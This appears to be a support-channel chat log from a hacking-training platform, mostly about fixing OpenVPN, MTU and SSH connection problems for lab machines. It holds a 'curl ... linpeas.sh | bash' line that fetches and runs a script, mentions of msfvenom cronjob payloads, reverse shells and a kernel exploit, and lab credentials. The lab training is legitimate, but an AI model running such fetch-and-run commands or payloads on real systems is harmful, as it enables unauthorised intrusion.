#site-support
1 messages Β· Page 200 of 1
wait a sec
it just logged me in the ssh
i changed something else
one moment
the find worked
i changed mtu from 1500 to 1200
and removed the fragment 1300
Yes that works I think
Awesome
ah i already have a big long message
one moment
So basically, i can ssh into any device that i own (phone for example) without the openvpn, but i cannot ssh into any of the THM machines, this is the problem that i was trying to fix
2nd, you have told me that old kali instances have a networking problem, therefore i needed to download a new one and hopefully it would work,
I go on to download the new kali disc, 2.2gb, then i notice once its at 1.5gb that it was for vmware not virtual box,
Had to cancel it and download the viritual box one 3.3gb
5 hours later (slow network)
The disc finished installing, i set it up, added root user instead of having to sudo and logged in as root;
now, openvpn doesn't want to work for some reason, it just freezes then does Restart sleep 5, so now, my problem is in openvpn not ssh'ing, i go on thm and try to fix this openvpn problem, i download the trouble shooter, it doesnt wanna execute, the reason being instead of typing chmod +x i did -x,I execute the troubleshooter
it says theres more than one instance open, it closes it and successfully connects me to THM's open vpn ( this process of trying to get troubleshooter to work was around 30m-1hr)
Now, ssh, its time! to see if it works!
i deploy the machine! open the openvpn, no pun intended, and type the magic command, ssh shiba1@ip
and then poof, nothing.
I go back to THM's discord,
We talk, they gave me many many solutions that took me around 1Hr again to try and do, but ive done most of them with no result
Then, someone, out of the blue, writes one line and posts one site,
umm is this that mtu bug?
i had this like in one of my ubuntu machines.
https://serverfault.com/questions/210408/cannot-ssh-debug1-expecting-ssh2-msg-kex-dh-gex-reply```
i open the site, theres two commands in it
the site says pick one command
I pick the first one, cuz apparently they both do same thing,
it doesnt work, invalid wlan0, i read a little more, it says change wlan0 if it doesnt work use iwconfig to find your name, i do the command
, i get eth0, i use eth0 instead of wlan0, something happened, i have no idea, i go back, try to ssh, and it works.
but then ssh kept frozing, so adding tun-mtu 1200 to the ovpn config and mssfix fixed it instead of running the site command
alright that should be the full recap
of what i did
to fix ovpn n ssh
but then ssh kept frozing, so adding tun-mtu 1200 to the ovpn config and mssfix fixed it instead of running the site command
@upper dune That is awesome
Glad it worked out and thanks for the recap
but then ssh kept frozing, so adding tun-mtu 1200 to the ovpn config and mssfix fixed it instead of running the site command
@upper dune Which mssfix method exactly?
basically i used the mtu fix
from the site
and that made ssh work
but freezing
but adding tun-mtu 1200 to ovpn worked isntead of tuning my mtu w the site command
the troubleshooter was the one to solve the mssfix
and it detected a background process to ovpn aswell that it closed on its own
and adding mssfix to the ovpn config file aswell for future reference
instead of having to use troubleshooter each time
All right that's fine
Basically the difficulties are because of burp suite not working the right way
And my guess it it's an open Issue on Kali OS
https://forum.portswigger.net/thread/v2020-7-embedded-browser-doesn-t-launch-on-parrot-7fdb090b
Hello, I just wanted to report that the embedded browser in 2020.7 does not launch with a default Parrot OS (https://parrotlinux.org/) configuration....
@fading oriole #room-help and please remove the first image as it contains answers.
^
This is where this issue appears
Done
And I start to wonder if I'm the only one having this problem or how you guys use Burpsuite the right way...
Crap I think I'm again on the wrong channel...
Open Browser is quite a new feature . Are you aware that you can use you own browser and set it up to work with burp if the in built browser is giving you issues
Haven't made it work yet but probably I should give it another try when the other way fails...
hey guys, may i ask you something. I have problems connecting to VPN. I can't really connect to VPN.. It just terminated with no error immediately when i am trying to connect.. A friend of mine also tried right now with no result. Any support please? Thanks in advance .
i get this error when i try to connect with openvpn, what can i do to fix this??
o lol, we both asked the same question at the same time
That's a different question, you have an error message
What are you connecting from?
Do you mean my location? If yes, we are from Greece.
How are you trying to connect? From the command line?
from network manager
There's a reason all the tutorials tell you to use the openvpn command line program
okay okay ty
same error then hah
o boi, welcome to the club
Regenerate Wait 30-60 seconds Download
That's the solution
If that doesn't work, please tell me what VPN server you're currently using
And then chose a different one
i tried EU-Regular-2, it didnt work for me, so now im going to try 1
@vapid dawn I think EU2 is spitting out broken configs again
number 1 works!
2020-11-21 21:46:13 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
2020-11-21 21:46:13 ERROR: Endtag </tls-auth> missing
2020-11-21 21:46:13 Exiting due to fatal error
ok it works now, thank you for your time!!!
Linking to the bot to get your level role
kind of obscure question
but wfuzz shows you progress right?
like you can see every request it does
even with --hc i distinctly remember it would print every request
and if it didn't match a filter it would just get overwritten
But now it doesn't
it just stays blank
which sucks because i cant see the progress anymore
Hi
@warm spear can u please make a ping when the issue of subscription gets solved
Wrong channel, try #infosec-general
what issue?
The zip code issue
Hi. I forget cancel my subscription before renew. Can I get refund?
I don't think that's possible but email support and see what they say.
What is their email?
ty
Can you be less vague please?
ok sorry
my connection stuck at TLS: Initial packet from [AF_INET]18.202.129.195:1194, sid=9cdf414e ee4e29f7
Could you show a screenshot of your output please so it can helps us understand better
Regenerate your file and wait for 30s and retry if that doesn't work try switching servers
i'm struggling with this problem for a month i tried everything
Are you in Egypt or another country that blocks VPNs?
yes im in Egypt
There's your problem
Your country blocks OpenVPN.
Hi.
Happy to subscribe for the first time!
Question, can I cancel the subscription at any time without losing my current benefits?
Yeah it will run until your time is out
is there any way i can avoid this block
Bypassing government restrictions starts to get legally dodgy so we can't encourage you to
oh don't worry our government is a bunch of morons
if you know how to bypass this problem tell me please
Uh oh.
Like James said we can't tell you how because that will be against your country laws
As he said, we really won't encourage you to. You are free to do your own research tho
It gets legally uncomfortable so we can't
ah that's out of my hands, I can't solve that so you'll have to wait until Skidy / Ashu do it
My dashboard is still never loading @deep trellis
My dashboard is still never loading @deep trellis
@narrow birch Whats your THM username?
ah
hey somewhy its taking ages to connect to OpenVpn server anything I can do?
Could you show a screenshot of your output please
sorry I tried everything from beginer and can not understand anythig
So. My friend has a problem with ssh on thm. He connects, then he can do stuff and after some time the shell freezes. It's not his internet as far as I can tell because I've had this multiple times now, even with another friend. But then after some time, like a minute or two, it just continues like nothing happened. Any ideas on how to fix that?
!vpnscript
hi i'm back are you sure my country is the problem
k
I'm having real trouble staying connected to the VPN, currently using a standard Kali linux box on virtual box on a Windows 10 machine. Using openvpn 2.5.0 but every couple of minutes it seems to reset the connection and drops everything I'm doing. Other days I've been better off and it seems to work for quite a while but today i'm just about logging into a box and starting to look around and I get booted off. It takes a minute or two to connect again after and then repeats. Log file seems to always show the following just as I get booted
vpn_log.txt
any ideas? I'm at a complete loss at the moment
Try a different VPN server from the dropdown
Make sure you're connected in the VM and NOT the host
Ah I hadn't realised I could change the server, I'll give that a go, thanks
sorted, seems to be working fine now, thanks so much
Hey yesterday I think I was at my 7th or 9th streak or something like that I still have 3 hours left but today it shows me 1 streak but the countdown still didn't end yet
I just did for today, and the streak is at 2 but yesterday I was 7+
Ask the room creator or send mail to support.
I have a problem.After I terminate a machine , I can deploy other machines but cannot ping them .Have to wait for 2 3 minutes to run the machines and again after 1 minute I cannot connect to the box.
Please email support@tryhackme.com with a list of rooms you would like to be reset and your tryhackme site username
Ok tnx
Need a little help in connecting openvpn to tryhackme
I downloaded the GUI app in my windows 10 device then downloaded the configuration file
Then imported it in openvpn
But it just shows connecting and never connects
Would it be possible to transfer a membership on my old account to my new account?
Okk I got it..
@sterile totem use the command line and do "sudo openvpn file.ovpn"
If that doesnt work do "sudo bash" then the openvpn command
You will have issues with reverse shells on your kali
im trying to seek help for booting in parrot os....i get a error saying failed to start postgresql cluster 12-main
#infosec-general #general that's not directly THM related
Hello, is there a way, I could reset a room? so I could go through it again if need be? I don't need to now but I may want to ???
Email hello@tryhackme.com for room resets
Hi All, I have accessed "My Machine" from the dashboard but it keeps saying "box initializing" and "connecting", any advice? Is this the correct channel to post this in?
I've got systemshell and administrators group shell
This channel is for directly THM related tech support like site and VPN issues.
ok thanks π
That wasn't directed to you @pale sluice
oh sorry
... sorry...
Could you show a screenshot please
sure
It's working
it keeps saying reconnecting though, I am I doing something wrong? π
Here is says reconnecting again
Sorry @eager fulcrum maybe Im missing something
Terminate, deploy again
I canβt download my vpn conf file it just gives a 404 error
I can download throwback vpn but not the normal one
Check the pins
I just did it and Iβm getting a fatal error when trying to connect to the VPN
Screenshot
Iβm waiting for food
I have all the ssl packages I can think of downloaded
This is what I get for letting my subscription run out π
I can't read that, it's not a screenshot
If that's not helping, switch VPN Server and also let me know which server you were using @meager bobcat
I am getting "cannot load inline certificate " when connecting using openvpn in kali
How to solve it?
Could you show a screenshot please
Yeah
Regenerate your VPN config
Try switching server.
what do you mean by try switching server
im running into the same issue as the people above
Go to the access page then you can switch the openvpns server
Is the site not working?
I can't see my pfp
And the images in tmux room are not visible too
The site is working fine
Also i can't connect to vpn
what error are yo getting?
im still not able to connect to vpn afte changing region too
Are you in Egypt jvortho?
I mean do you live in Egypt?
Code 101 network is unreachable
Try regenerating and wait 30 secs
Ok
That wasn't directed at you Yaymorek
Aight
@tropic cape That's WSL1 right?
What should i do ?
ok
Try a hard refresh
Trying to ssh into shiba1, and it's denying access when prompted to enter password. Can you help please?
Where did you get the IP address that you're using?
What's the message that you see when you try it?
What password are you entering?
Can you take a screenshot please?
It's the ip of the machine you are using right? shiba1 is the password. If both of them are correct I will send you a screen shot. Thank you.
@long star You need the IP under the big red "Active Machine Information" header
If you don't have one, click Deploy in the first task
Do not use the IP of the attackbox or your VPN IP
Lol I now have the correct information. Completely new to the site. I wasn't clicking deploy on the room lol. My bad.
Hello everyone, I just installed a fresh version of the latest kali linux 2020.4, and so far it's been working rather well with a few minor tweaks, but for some reason the TryHackMe machines do not want to open on my webbrowser... I am connected to the openvpn successfully, I can ping the addresses with responses... but in the browser (or even curl) ... just hangs forever.
Any idea what may be causing this?
Nevermind, figured it out... it was my mtu setting being too high, had to lower it down to 1250 - works like a charm now. Cheers all.
hey everyone, I'm trying to exploit a cronjob using msfvenom on a target machine and its giving me this error, "msfvenom: command not found"...
any idea why this is happening?
Because msfvenom won't be on the target machine, you should be using msfvenom your attackbox.
so im suppose to run msfvenom on host machine and paste the output in my cronjob script on the target machine right?
and then use netcat listener on my host machine ?
im in the common linux privesc room btw
that's the jist of it.
It's been a while since I've done this, you should go to #room-help
this isn't really a tech-support question.
ah, i see you've already posted there, give me a moment to have a look
yeah, wasn't getting any response from there, thanks
Hi everyone!
I am trying to complete the room NIS - Linux Part I however the SSH credentials do not work (chad:Infinity121 *). Can someone confirm the problem and/or fix the VM?
@undone axle You already have a meterpreter
You can't use shell_to_meterpreter on a meterpreter shell
It's meant for non meterpreter shells
The shell you get has been changed since the room was created, so you can skip over this part if you want
^
Hello!
Someone have this problem with John (after unshadow shadow passwd)?
some context please
try #general or #infosec-general cause it's not THM related
No its THM ;)
Priv esc Linux with Tib3rius
but this channel is for technical problems with THM not for problems with tools
Oh okay sorry! :p
Anyone having an issues with the VPN?
what is the problem?>
It could be a UI issue, I do seem to be connected as I have a 10.9 address.
Don't trust access page.
I just don't see it saying connected with a green symbol
!vpnscript
Try this.
Thanks, I think it is just a UI issue.
Yeah, sometimes it lies. You can type `ip a and see there if you have tun0 or not.
Also, you can type http://10.10.10.10 in browser and check this way.
Yes I had to run basic, checks to see I'm still connected which is the case. Never seen it not appear before on the UI.
hi here who speaks german and can help me with vpn under kali linux
I don't speak German, but I can try and help you with your VPN Issue if you keep it in English
this is my mistake '2020-11-24 14:08:24 DEPRECATED OPTION: --cipher set to 'AES-256-CBC' but missing in --data-ciphers (AES-256-GCM:AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-256-CBC' to --data-ciphers or change --cipher 'AES-256-CBC' to --data-ciphers-fallback 'AES-256-CBC' to silence this warning.
2020-11-24 14:08:24 OpenVPN 2.5.0 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Oct 28 2020
2020-11-24 14:08:24 library versions: OpenSSL 1.1.1g 21 Apr 2020, LZO 2.10
2020-11-24 14:08:24 OpenSSL: error:0909006C:PEM routines:get_name:no start line
2020-11-24 14:08:24 OpenSSL: error:140AD009:SSL routines:SSL_CTX_use_certificate_file:PEM lib
2020-11-24 14:08:24 Cannot load inline certificate file
2020-11-24 14:08:24 Exiting due to fatal error
' i get
Change the Server, regenerate the config, wait 30 seconds and download it again
See if that helps
nice man it workt i strugle so long on tihs
@pure bough what VPN server were you using to get that error?
No what VPN server
now eu 1
Awesome, Which server were you on before ?
Which one gave you the error
Shoot, I was on the old message
and bevor it worse 2
Hey ! Can I get some support with installing kali on vbox ?
Okay! Sorry!
got the solution
Hey, I need help with question from room Network Services / Task 7 Exploring Telnet
I generate msfvenom payload
start nc listenning
then I copy the payload on victim machine
and nothing happends :/
Brute IT: I am trying this box as a freebie. had the same issues yesterday and I tried again today same issue. The issue is that it looks like Apache isn't running on this box?
Is there anyway I can have this verified please.
Are you sure you are scanning the right IP Address
@vernal ruin yes sudo nmap -sV -sS -sC 10.10.52.148
@vernal ruin but I have a 10.10 ip adddress as always?
I think youβre scanning the attack box ip not the deployed ip
Deploy the machine in the room, scan that IP
@vernal ruin so what you are saying is that 10.10.52.148 is my attcking ip address?
Looks like it
Thanks me being a NOOB sorry got it thanks for the help all

Hey guys I am using a Kali VM with openVPN and am having issues connecting via ssh to Common Linux Privesc. I can confirm the vpn is working as i have access to 10.10.10.10. I can ping the deployed server and can see ssh is on the default port via a portscan. When I try to connect via ssh is just takes a long time and looks like this:
ββ$ ssh user3@10.10.141.212
Connection closed by 10.10.141.212 port 22
Weirdly enough, I can acess the machine in the browser and get the default ubuntu-apache page. Any suggestions?
Hello, as I have already said I have a problem with the OVPN file. When I try to connect via openvpn I get the following error text:
2020-11-24 11:15:39 OpenSSL: error:140AD009:SSL routines:SSL_CTX_use_certificate_file:PEM lib
Also the cert section in the file is completely empty, unlike the hackthebox file. It looks like this: <cert> </cert>
If I regenerate the file or change the server location to eu1, this does not change anything.
I hope someone can help me. I have tested with the windows openvpn gui and the kali kinux terminal.
same error
Are you sure you're over writing the old one?
i have clicked regenerate. Then came a "Success! Your OpenVPN has been regenerated. Please wait 10 seconds for it to re-generate" and then I clicked on download. This file I then executed with sudo openvpn "<path to the downloaded file>.ovpn"
Did you wait 30-60 seconds before clicking download?
I just noticed that when I select the American servers and download everything works and there is no error. It only occurs on the EU servers. And no I have not waited 30 to 60 seconds
It recommendeds 10, I recommend 30-60
i need help with live booting kali with persistance
#infosec-general @naive dust
okk
^ With more details if possible
i waited a while keep the same error. But the american servers worked greate for me too. So i can use them instant. i don't know why i get the errors by the eu servers
Got it done?
Can anyone help me with my vpn connect? I connect to my virtualbox, booted with kali and pluged in my network adapter and I'm able to connect to the internet. But if I run my openvpn then try to scan a tryhackme box it won't work. I was able to connect to my own network interface while connected to the vpn. This makes me think that it's the vpn that is not working. Are there any fixes?
!vpnscript
ty
The regeneration worked for me aswell ! Thank you !
Hi all. Hope everyone is doing good. I was wondering if there is a way to open multiple vms via the browsee
Or do I need OpenVPN to be able to scan or access another vm from the platform?
In order to communicate with a VM you've deployed on THM, you need to be on the network with them
The AttackBox/THM Kali is already on the network
The VPN puts you on that network, so you can use your own device.
The target VMs, you're not given access to
The In Browser Access is a feature of the attackbox, THM Kali, and a few other boxes that you're given access to.
The goal is to hack in to the target VMs most of the time
Or use credentials that you're given to connect, usually not using the browser.
Got it. Thanks for the info.
(reposting from #room-help)
I keep getting this error when trying to connect to this box. I have also tried using freerdp like xfreerdp /u:administrator /p:P@$$W0rd /cert:ignore /v:10.10.51.xx but it's also not connecting
Is there anything that I can try or is there a problem atm?
maybe it's intended, i can ssh in just fine so
Is there any way to open a python http.server on port 80 while using the attackbox?
You can if you kill the service that's already binding to it which is exposing VNC for the in-browser (:
So if you're using it purely through SSH that's an option, otherwise, afraid not
It looks like the credentials that the in-browser uses for that is expired/out-of-date. You'd have to use RDP/SSH for the time being whilst that gets updated @lyric junco. Pretty sure you've gotta provide the domain too (:
ohhh
As a heads up, the small window works without port 80 but the fullscreen doesn't
yeah probably because i didnt list the domain
That's actually really interesting
i used the same xfreerdp command which I used for Tib3rius' BOF room , so i thought that it should have worked
i didnt really read the error message beyond could not connect though
not a problem, using SSH is fine for now π
thanks
I don't think that one for Tib's is domain joined unlike post-exploit π
π
Weird
@eager fulcrum woaah thanks so much, u saved me a ton of time haha
When i try to open my attackbox or kali machine in a new tab aka fullscreen, i receive an error page
thmVNC encountered an error:
is nikto a super touchy program?
I've ran the same 3 scans as the guides and am not getting the output.
ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Operation now in progress
!vpnscript
Hey guys, my web pages are not loading, any idea why that might be? it just hangs, but never loads.
!vpnscript
Ok, is anything else not working?
the webpages just hang and never load. Its the 2nd machine that this is happening.
Ok that sounds like the MTU issue, lemme just check something rq
Is this directly TryHackMe related?
Hey, i've worked on 1 day on tryhackme and i still don't got how to get into deployed ip. I'm from Mongolia. i've tried openVpn. And it still loading. What should i do? can i know to nearest server ?
No, it have not.
Ok, what OS are you connecting from?
Windows.
still kind of hangs
yeah, MTU issue
I did it with virtual linux tho.
Can i get more information about it, Please?
Linux is much easier to troubleshoot, can you show us what your terminal shows when you try to connect
I wasn't talking to you, it's probably not your issue.
I meant about MTU thingy, Sorry.
Yes
So am I
I wasn't talking to you about MTUs.
It's not likely to be your problem
Got it, Sorry
James, what would you like to see?
I don't need to see anything, I need someone else to document the fix so I can link it
oh
@stable jolt Please try to connect to the VPN from Linux, and screenshot what you see in your terminal
On this, what would you recommend for me.?
Troubleshoot? how.? I'm confused.
Leave everything as default unless you know what you're doing and why you're changing it.
This.
This is what I asked you to do
I can't help you unless you do that.
Oh got it. I don't have linux. But i got log file
You said you tried Linux
That doesn't require the VPN
Got it, Sorry For wasting your time. Thanks.
You will still need the VPN running in Windows if you want to use Windows for it
Which I recommend against
Hello, I am doing the Linux Privilege Escalation room. It says to send LinEnum.sh to the target machine by setting up a python server and using wget on the target machine. But whenever I try to use wget on the target machine it just hangs at connecting. Using this method works if I try it through my own terminal or by copying the ip into the web browser. It just does not seem to want to connect when I am trying it whilst SSH'd into the box. I was originally trying to use my local IP and upon watching a guide of someone doing this box on youtube, I saw that he used the internal virtual ip, I was hopeful that this was the issue but it still doesn't work. Any ideas
?
#room-help and show screenshot.
you can try this instead of wget
curl http://<your tun0 ip>/linpeas.sh | bash
Im in the tutorial and totally new to this and it says Navigate to /opt: cd /opt - Im putting in cd /opt at the command line but its not navigating to /opt: what am I doing wrong1
I'm on the room where I learn about metasploit but when I try to run cmd: run -j then I get this error ```[*] Started reverse TCP handler on 192.168.0.29:4444
[-] 10.10.154.16:8000 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (10.10.154.16:8000).
and how do I get that?
type ip addr then you'll see it under tun0
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 9c:fc:e8:da:a7:e1 brd ff:ff:ff:ff:ff:ff
inet 192.168.0.29/24 brd 192.168.0.255 scope global dynamic noprefixroute wlan0
valid_lft 2967sec preferred_lft 2967sec
inet6 fe80::3457:877e:6012:36c/64 scope link noprefixroute
valid_lft forever preferred_lft forever
```I'm probably very blind but I can't see it
yeah okay forget it
I was just not connected by openvpn
weird it didn't work earlier
but thank you anyway
Hi @everyone , is there anyone who can help me i cant access TryHackMe properly i tried everything i changed several thing like
- Operating System
- Regenerate VPN servers and also changed servers
- Change MTU to 1200
The following things i can do:
- ping
- nmap
- gobuster
The following things i can't do:
- ssh
- upload php-reverse-shell (browser wont response when i do that)
Hello,
I can no longer logon to my Attack Machine using SSH, the password 'shiba1' no longer allows access.
I have had this problem for weeks now, but I was able to logon before that numerous times, any ideas ??
are you subscribed @oak falcon
what error do you get?
Access Denied when entering password
I'm currently attempting to connect to 10.10.194.86, with no change today
Has the password changed ??
I tried a few variations 'admin', 'shiba01', 'shiba'
my username is 'bax2097'
if you want to connect to your kali in browser machine you need the credentials next to the machine
I'm doing the Learn Linux course, and need to connect using SSH using Putty, I have got to Task 9
The Windows Putty client, it was working fine
user shiba1 password shiba1
Are you using the deployed ip or the attack box ip?
You need to deploy the ip click the green box and it will give you an ip
you need to the active machine ip
In task 1 click the green box that says deploy
Screen shot
I'm already connected using OpenVPN, and I get the cert warning when trying to connect using Putty
OK sorry
if you use your attackbox you don't need openvpn then you can ssh in the attackbox through the terminal
Oh, let me try again
Hello
Hello
I m doing year of the rabbit room
But after running dirty cow for privilege escalation the connection is getting lost and I m not able to re connect using ssh
try and redeploy the machine
OK, I do need OpenVPN to connect ??
not when you use the attackbox
If I again run the kernel exploit
It get stuck
Pretty sure Muir just told you to do it the intended way and not use a kernel exploit unless it's a last resort
Network timeout now, when using OpenVPN I was getting to the password stage
Trying to deploy again 
You need to ssh into the deployed machine, not the attack box
You either connect to the VPN and ssh into the deployed machine
Or ssh to the deployed machine using the attack box
can anyone help me with this
what is the problem?
the problem is that he tried to notify 36000 in the server for his problem
Did you run the VPN troubleshooter?
yes i did
i regenerated the VPN as well but didnt work and changed servers as well
@quartz hawk are you double VPNing? like using wireguard on your host then using THM vpn?
nope i am not
windows firewall?
how should i check if its not in windows firewall issue
because i just install fresh windows 10 yesterday and just update from windows update centre
you could try disabling windows firewall to troubleshoot then create firewall rules as needed if thats the issue
i disable all my firewall from windows and tried again but didn't worked
i get the same error : Connection closed by <machine_ip> port 22
try sshing somewhere from your windows machine without being on the thm vpn to get a better idea where to start troubleshooting
Than Google openvpn not connecting on windows
Or Linux
Plenty of documentation.
Weβre happy to help but itβs tough to diagnose.
Send output of ps aux | grep openvpn
Oh youβre connected
If you canβt ssh, it isnβt a VPN issue.
then what it can be
Do you have a box up with SSH?
box up?
Yeah you canβt ssh to a machine without ssh open.
oh yah i have
Which one?
No Not that
then
A room deployed on THM
oh ok
That has SSH open.
I am driving currently. @candid yacht sorry for interrupting.
you're good dude. error, try throwing on the -v flag when youre trying to ssh to a thm box. might give you an idea whats going on
and if that doesn't work try this sudo ip li set mtu 1400 dev eno1
use the name of your interface
^
ok got it
Did that resolve your problem?
All fixed now thanks
@torn citrus IIRC it's the tun0 interface that should be adjusted
Yeah, I just copied the first result from Google.
he can change the interface to anything.
but I believe that's his issue.
nah didnt worked
I've finished a room a long time ago and want to redo it. Is there any way to reset or something alike?
send email to support@tryhackme.com with the room code that you want to reset
And your username preferably
How do i find room code?
ninja, still no solution for the mtu issue?
anybody having issues with images loading on learning path pages?
I use the machine from the browser. I did not know that as a paying customer I was able to run the Kali linix machine and deploy the machine on the session I was working. Thanks
I mean. I went to the my-machine site and ran the Kali machine. Then when to the room I was working and deployed the machine for the exercise there. Got two different IPs and was able to SSH to it.
Went*
Is anyone available to give me some help?
If you ask a question, yes
I am doing the Linux Privilege Escalation room. It says to send LinEnum.sh to the target machine by setting up a python server and using wget on the target machine. But whenever I try to use wget on the target machine it just hangs at connecting. Using this method works if I try it through my own terminal or by copying the ip into the web browser. It just does not seem to want to connect when I am trying it whilst SSH'd into the box.
Room VMs do not have internet access
The rooms instructions say to do it this way, I watched a guide online to see how someone else did it, and they just ssh'd into the box and used the command and it worked
they were able to transfer the file to it
paste your wget command
the ip being the virtual ip the vpn gave me
if i type that same command in from my own terminal the python server says "10.9.196.153 - - [26/Nov/2020 02:24:17] "GET /LinEnum.sh HTTP/1.1" 200 -
" and then i download the file
but when i do it from the user3@mild junglebox I am ssh'd into i just get "Connecting to 10.9.196.153:8000..."
That's the tun0 ip when you run ifconfig on your kali machine?
That is the virtual ip the vpn has given me, i am not using the kali machine. I am doing it from my own OS
I ssh'd into it from terminal
i will start an attack box now and try it through the kali linux VM
Try that because from what you're describing, the wget should work
Yeh, thats why I have come here. because I watched a youtube video of a guy doing it and he did nothing different to me
and ofcourse, the instructions on the room say to do this
on the kali linux vm is just says connection refused
Can you ping the kali machine or your own machine from the target?
PING 10.9.196.153 (10.9.196.153) 56(84) bytes of data.
64 bytes from 10.9.196.153: icmp_seq=1 ttl=63 time=29.1 ms
64 bytes from 10.9.196.153: icmp_seq=2 ttl=63 time=27.6 ms
64 bytes from 10.9.196.153: icmp_seq=3 ttl=63 time=27.9 ms
I did that from within the SSH'd terminal on my desktop and the ip is the Internal Virtual IP Address from open vpn
I am also having issues. The walk through says "MACHINE_IP" instead of the ip of the machine. I am in the PLEB linux walkthrough. Any advice?
I just tried another wget for a url and its doing the same thing, its like the shh'd machine can not wget out, which it should be able to based on the rooms instructions
the thing is, i can get around this by just simply copy and pasting the contents of the script over into a file, but I am just confused why this method wont work
Connecting to 10.9.196.153:8000... failed: Connection timed out.
Retrying.
--2020-11-25 21:51:44-- (try: 2) http://10.9.196.153:8000/LinEnum.sh
Connecting to 10.9.196.153:8000...
it just does that
@trim tartan click the deploy button.
try curl 10.9.196.153:8000/LinEnum.sh > LinEnum.sh
user3@mild junglebox:~$ curl 10.9.196.153:8000/LinEnum.sh > LinEnum.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- 0:00:19 --:--:-- 0
just a timer going up
weird you can get a ping but http traffic won't work
yeh very strange
@eager fulcrum It is deployed. I am in the deployed machine. I cannot SSH. And there is something strange, where I have to use a different IP with putty than what the deployed machine has.
theres zero response on the python server
That's the wrong IP, you've only deployed the attack box
but if i do it from my own terminal/browser i will get "10.9.196.153 - - [26/Nov/2020 02:52:21] "GET /LinEnum.sh HTTP/1.1" 200 -
"
Click the deploy button in task 1. @trim tartan
try reconnecting to the vpn and rebooting your machine?
I did that last night when i had the same issue
I can proceed by just copy pasting the scripts contents over manually which is fine I guess
but would be nice to have this method working
and from a learning perspective, to understand why its not working
@eager fulcrum It is there now. Took a minute. Thanks
Only other suggestion I have is to try to wget in a different room or generating a new openvpn file or resetting your home internet
good luck
Silly question, but what if you were to just do something like "curl 10.9.196.153:8000/LinEnum.sh -o LinEnum.sh" @static iron
Ah, it's not just curl that's not working
mb just catching up
will try it once i have done it with a fresh openvpn file on a different vpn server
np mate
So I generated a new OpenVPN file and tried it again on both the original rooms box and another. And still the same issue.
just hanging at connecting
with not even an error response from the terminal running the python3 http.server
Okies sooo here's the result of my try using the AttackBox:
Only method I can't get working is SCP
I am not using the actual attack box, I am doing it through SSH on my OS
Ah if it doesn't work in another room then gotta be routing your side. How are you running the VPN on your device? I.e. in a virtual machine, or on the host itself (like Windows 10)
I am using linux mint and running the command "sudo openvpn "filename"
then its open in a terminal
then im running python3 -m http.server 8000 in the directory where the file is
and ssh'ing into the box using user3@"boxip" and using the wget
Sounds about right to me!
That's a bit of an odd one, could I DM you to try something please? π
yeh sure, im more than happy to go in a call and share my screen
if thats ok with you
dont have to talk can type, but ill show you my desktop
Yeah sure, It's 3AM here so I'll be muted but go for it
same, you from the uk?
Aye lad π
Remind me to message you about that, I've had a few funky emails that I think are somewhat related to that
is there a powerful entity in the upper management that could tell me why tryhackme webpages are loading SUPER slow? For example, i'm vpn'ed in and 10.10.10.10 has not loaded in, and it's been 7 minutes already :?
send screenshot of you openvpn output?
hmmmm
i'm not smart enough to see anything wrong
your internet connection is fine?
I remember couple months back I did not had this issue
yea, my internet is fine. Also Ninja told me to run the troubleshooting script and it showed that everything is fine ;d
Sorry, I found the issue. I was connect to NordVPN on my main machine and for some reason it made web traffic to tryhackme network very slow 
DEPRECATED OPTION: --cipher set to 'AES-256-CBC' but missing in --data-ciphers (AES-256-GCM:AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-256-CBC' to --data-ciphers or change --cipher 'AES-256-CBC' to --data-ciphers-fallback 'AES-256-CBC' to silence this warning.
do you know what is this ?
hello support :D. cannot download the throwback vpn config ... get the 4040 page at the moment. normal vpn config works fine
anyone else this specific problem?
Regenerate config?
100% completed the room, but it shows not completed?
Hello
I m doing room Agent sudo
There he is asking to change the user agent to codename but after changing the user name
I m still not getting anything
πwhat should I do?
Hello any one know about honeypots? i have some thoughts to clear although i have done my little research about it but still i am confused to take decision.
hi there i need help related to my router configuration, because when i tried to switch network it worked and when i use my ISP internet direct to my pc not from the router it worked
so the source root of the problem is my router
so is there anything i can set in my router so it might work
@torn citrus
Hi .. I have successfully connected via openvpn on my Kali linux machine, have deployed a machine in "Linux walk Through" room. how can access this machine. when I type the machine IP address in browser.. it is giving error.. Unable to connect
Firefox canβt establish a connection to the server at x.x.x.x
@sharp bison
(also, i think that the bot won't reply anytime soon to you)
it is installed
There are some machines that doesn't run a webserver
So you can't access those in the browser
Follow the tasks, they will tell you how to ssh in it
ssh required userid & password..
what would be that
The room tells you the username and the password
Just search around a bit if you haven't seen it
ok..Thanks.. let me look for it
this is the wrong channel try #infosec-general
@barren birch
what error do you get
this one let me send you
when i give this command
sudo openvpn /path/to/file.ovpn
Options error: In [CMD-LINE]:1: Error opening configuration file: /path/to/file.ovpn
Use --help for more information.
appears this
could you show a screenshot?
ues
That means your path is incorrect
Because you have not changed it from the example
You need to provide a file path to your VPN config, that will depend on where you saved it
how?
Well, where did you put the file?
/path/to/file.ovpn needs to be the path to where you put the config file
Are you using a virtual machine?
yes
Ok, and did you download the file in your VM or on your Host OS?
in the vm
You need to replace /path/to/file.ovpn
With the path to the file
/home/PutYourKaliUsernameHere/Downloads/WhateverYouCalledTheFile.ovpn
how?
oh ok
thanks
let me try
Thu Nov 26 09:46:45 2020 OpenVPN 2.4.9 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Apr 21 2020
Thu Nov 26 09:46:45 2020 library versions: OpenSSL 1.1.1g 21 Apr 2020, LZO 2.10
